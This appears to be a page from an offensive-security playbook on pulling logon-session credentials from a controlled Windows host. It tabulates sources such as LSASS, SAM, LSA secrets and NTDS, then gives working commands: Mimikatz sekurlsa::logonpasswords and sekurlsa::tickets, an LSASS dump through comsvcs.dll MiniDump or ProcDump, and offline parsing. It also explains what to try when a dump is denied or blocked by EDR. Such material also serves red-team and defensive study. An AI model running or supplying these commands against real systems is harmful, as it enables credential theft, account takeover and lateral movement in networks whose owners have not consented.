Obtain accessible live logon-session credential material
Contents ↑Use when: A controlled Windows host may hold useful logged-on identities
Needs: Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material
Windows commands
Source What it can contain Typical prerequisite Result is not automatically Current ticket cache TGTs and service tickets for the current logon session Current user; other LUIDs normally require elevation A password, NT hash or authorization to every service LSASS memory/dump Logon-session NTLM/AES/DPAPI material and tickets, depending on OS/protection/logon type Administrator/SYSTEM, suitable debug/dump access, compatible architecture Guaranteed cleartext or every user's reusable secret SAM + SYSTEM Local account password hashes Administrator/SYSTEM/backup-capable access to matched hives Domain-account material SECURITY + SYSTEM LSA secrets, service/machine secrets, cached domain verifiers Administrator/SYSTEM/backup-capable access to matched hives Directly passable cached-domain hashes Credential Manager/DPAPI Targeted saved credentials and protected application data Suitable user/machine context plus master-key material Plaintext merely because a blob/file is readable NTDS + SYSTEM Domain account hashes/keys from a DC database DC-level file access and matched boot-key material Ordinary member-server admin access DRS replication Selected domain-account secrets Effective replication rights at the domain root Local admin, DC service access or Domain Users membership
REM Baseline
whoami /all
tasklist /fi "imagename eq lsass.exe"
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags
PowerShell commands
# Baseline
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
Select-Object SecurityServicesConfigured,SecurityServicesRunning,VirtualizationBasedSecurityStatus
- membership in Administrators with a medium-integrity filtered token is not equivalent to an elevated process;
SeDebugPrivilegemust be present and usable for common live-process access;- a missing registry value is not definitive proof that a protection is disabled because defaults, policy and firmware state matter;
- LSA protection blocks untrusted code injection/process-memory access; Credential Guard isolates selected NTLM, Kerberos and saved-domain secrets with VBS;
- EDR/AV can block a tool or dump path without proving the underlying credential source is empty.
An access-denied or empty result disproves only that method in the current context.
Direct Mimikatz access
# Direct Mimikatz access
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets
Dump first, parse offline
REM Dump first, parse offline
for /f "tokens=2" %A in ('tasklist ^| findstr /i lsass.exe') do rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump %A C:\Windows\Temp\lsass.dmp full
REM Sysinternals ProcDump alternative
procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp
Parse with a compatible Mimikatz build
# Parse with a compatible Mimikatz build
mimikatz.exe
sekurlsa::minidump C:\Path\To\lsass.dmp
sekurlsa::logonpasswords
sekurlsa::tickets
Dump first, parse offline
- dump creation denied: token/protection/EDR or process-access prerequisite failed;
ProcessorArchitecturemismatch: use compatible x64/x86 tooling;- OS major-version mismatch: parse with a compatible build/environment;
- dump succeeds but secrets are absent: logon type, sign-out/reboot, Credential Guard and provider behavior affect contents.
# Dump first, parse offline
Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured,DeviceGuardSecurityServicesRunning
Credential Guard can isolate reusable domain secrets from ordinary LSASS memory. It does not erase local SAM, file, vault, DPAPI, ticket, service-configuration or directory-right paths. One failed dump method disproves only that method and context. Intrusive SSP interception changes system state and waits for a future logon; it is not the default Block 5 response.
Read / verify → Tie each artifact to an account, source/logon session and material type; independently validate any useful reuse.
If it fails → Protected process access denial, absent sessions and unsupported parsing are different outcomes. Prefer an accessible ticket or other matched source when available.
- An NT verifier from an appropriate credential source → Recover or reuse an NT password hash
- A ccache/kirbi file or an existing ticket cache → Classify tickets and use a compatible cache
- Protected local registry material is available under sufficient host privilege → Extract local account hashes from matched SAM and SYSTEM
- An already controlled DC or a validated privileged domain collection context → Parse an offline domain database or select a justified remote collection path